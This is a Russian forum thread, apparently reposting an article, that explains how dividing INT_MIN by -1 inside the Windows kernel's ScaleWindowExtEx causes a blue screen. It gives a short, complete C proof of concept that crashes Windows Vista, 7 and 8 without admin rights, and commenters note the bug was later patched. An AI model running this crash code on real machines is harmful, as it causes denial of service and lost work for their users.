ga.al
Новичок
Зарегистрирован: 20.02.2013
Сообщений: 99
Однажды один знакомый рассказал мне про одну уязвимость в Windows. А именно из-за нее можно легко вызвать синий экран смерти шестью строчками кода на Си. Причем программа не требует никаких прав администратора и вызывает только одну функцию масштабирования окна.

http://habrastorage.org/storage2/46d/2f0/662/46d2f0662170306373942a7dfb0918f6.jpg


Немного теории

В случае недопустимой инструкции процессор бросает исключение, а ОС уже сама решает, что с этим делать. Если это ошибка в программе и она никак не обрабатывается, то система выдает всем известное сообщение о том, что прекращена работа программы.

Например, в этом коде деление на ноль — недопустимая инструкция.

#include <stdio.h>


int main()
{
int a = 2 / 0;
printf ("%d", a);
return 0;
}

Если скомпилировать этот код без оптимизации, то мы увидим то самое окно о прекращении работы программы (конечно, компилятор выдаст warning).

Если же выполняется недопустимая инструкция в ядре системы, то все немного интереснее: мы увидим синий экран.

INT_MIN / -1

Есть еще одна исключительная инструкция — деление INT_MIN на -1.

Дело в том, что INT_MIN=−2,147,483,648=-2^31, а INT_MAX=2,147,483,647=2^31-1. Довольно очевидно, почему они отличаются на единицу: невозможно в int запихнуть ноль, множество положительных чисел и множество отрицательных чисел так, чтобы количество положительных и отрицательных чисел было равно.

Получается, при делении INT_MIN на -1 результат не умещается в int и процессор бросает исключение.

Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:

#include <stdio.h>

#include <limits.h>

int main()
{
int a = INT_MIN;
int b = -1;
int c = a / b;
printf ("%d", c);
return 0;
}

Ядро Windows

В ядре Windows принято не использовать переменные с плавающей точкой. Прямо вообще-вообще не использовать. Поэтому когда приходится работать с чем-то нецелым, используют две целочисленные переменные: числитель и знаменатель.

Также для увеличения производительности некоторые WinAPI функции, вызываемые программой, выполняются в ядре системы. Пример такой функции — ScaleWindowExtEx. Она ничего особенного не делает — функция масштабирует окно.

Прототип функции:

BOOL ScaleWindowExtEx(

_In_ HDC hdc,
_In_ int Xnum,
_In_ int Xdenom,
_In_ int Ynum,
_In_ int Ydenom,
_Out_ LPSIZE lpSize
);

Сама программа

Отлично, это то, что нам нужно. Второй и третий параметры, четвертый и пятый параметры — это как раз числитель и знаменатель.

Xnum / Xdenom — масштабирование по x.
Ynum / Ydenom — масштабирование по y.

Но функция не всегда делит одно число на другое. Функция будет делить одно число на другое в случае, если разметка контекста рисования (device context) располагается справа налево. В противном случае она, видимо, будет перед делением как-то менять эти числа. Чтобы поменять разметку контекста, есть функция SetLayout.

Значит, создаем контекст рисования вызовом CreateCompatibleDC (NULL). Устанавливаем разметку контекста с помощью SetLayout. После чего вызываем функцию ScaleWindowExtEx с нужными параметрами.

Конечно, программисты Майкрософт не полные дебилы проверяют деление на ноль, и передачей третьим параметром числа ноль Windows не уронишь.

Но вот деление INT_MIN на -1 они не проверяют. Из-за чего происходит необработанное исключение в ядре системе, что приводит к синему экрану.

Такой код программы при добавлении библиотеки gdi32.lib уронит Windows:

#include <windows.h>

#include <limits.h>

int main()
{
HDC dc = CreateCompatibleDC (NULL);
SetLayout (dc, LAYOUT_RTL);
ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

Его можно подсократить до шести строчек для добавления пафосного заголовка:

#include <windows.h>

int main() {
HDC dc = CreateCompatibleDC (NULL);
SetLayout (dc, LAYOUT_RTL);
ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

Тут INT_MIN заменен на -2147483648, чтобы не добавлять лишнюю строчку, подключая файл limits.h. Конечно, можно код сократить до двух строчек, но тогда он уже будет совсем нечитабелен. Да и все функции на Си всегда можно сократить в одну очень-очень длинную строчку.

Система падает на Windows Vista, 7 и 8. Баг наблюдался как на 32-разрядной системе, так и на 64-разрядной.

Эта уязвимость в системе до сих пор не исправлена и неизвестно, когда они ее исправят и сделают ли они это вообще.

P.S. Раньше с помощью такой недопустимой инструкции можно было убить bash, но сейчас это исправили.

UPDATE: Изменил ((int) 0x8000/0x80000000) на (-2147483647 — 1), теперь должно работать.

Комментарии5

0 0

MOP3E
Золотой пользователь
Зарегистрирован: 11.01.2013
Сообщений: 1251
Слоупок детектед. Эту ошибку активно обсуждали, как минимум, лет пять назад. Правда, так и не придумали ей никакого практического применения.

0 0

ga.al
Новичок
Зарегистрирован: 20.02.2013
Сообщений: 99
пофиксили таки через пять лет %) лучше поздно, чем никогда

http://habrahabr.ru/post/179861/

Win32k Buffer Overflow Vulnerability — CVE-2013-1333
An elevation of privilege vulnerability exists when the Windows kernel-mode driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could cause system instability.

0 0

MOP3E
Золотой пользователь
Зарегистрирован: 11.01.2013
Сообщений: 1251
пофиксили таки через пять лет %) лучше поздно, чем никогда
А для чего вообще можно использовать данную "уязвимость" Какой профит с того, что получится уронить компьютер в синий экран

0 0

Белая рысь
Золотой пользователь
Зарегистрирован: 06.10.2012
Сообщений: 1171
пофиксили таки через пять лет %) лучше поздно, чем никогда
Ещё раз, медленно и печально:

Правда, так и не придумали ей никакого практического применения.
То, что MS закрывает ошибки, которым нет применения - исключительно респект и уважуха для MS.
-- God is real, unless explicitly declared as integer.

0 0

MOP3E
Золотой пользователь
Зарегистрирован: 11.01.2013
Сообщений: 1251
В Windows 95/98 есть аналогичный баг. Если размер файла windows.ini превышает 64 килобайта, система перестаёт грузиться. Ошибка на этапе загрузки, без сообщений о том, чем именно она вызвана. Переустановка "поверх" не помогает - в процессе такой переустановки файл windows.ini не заменяется на новый. Тоже, кстати, не имеет никакого практического применения. Разве что зло подшутить над кем-то захочешь.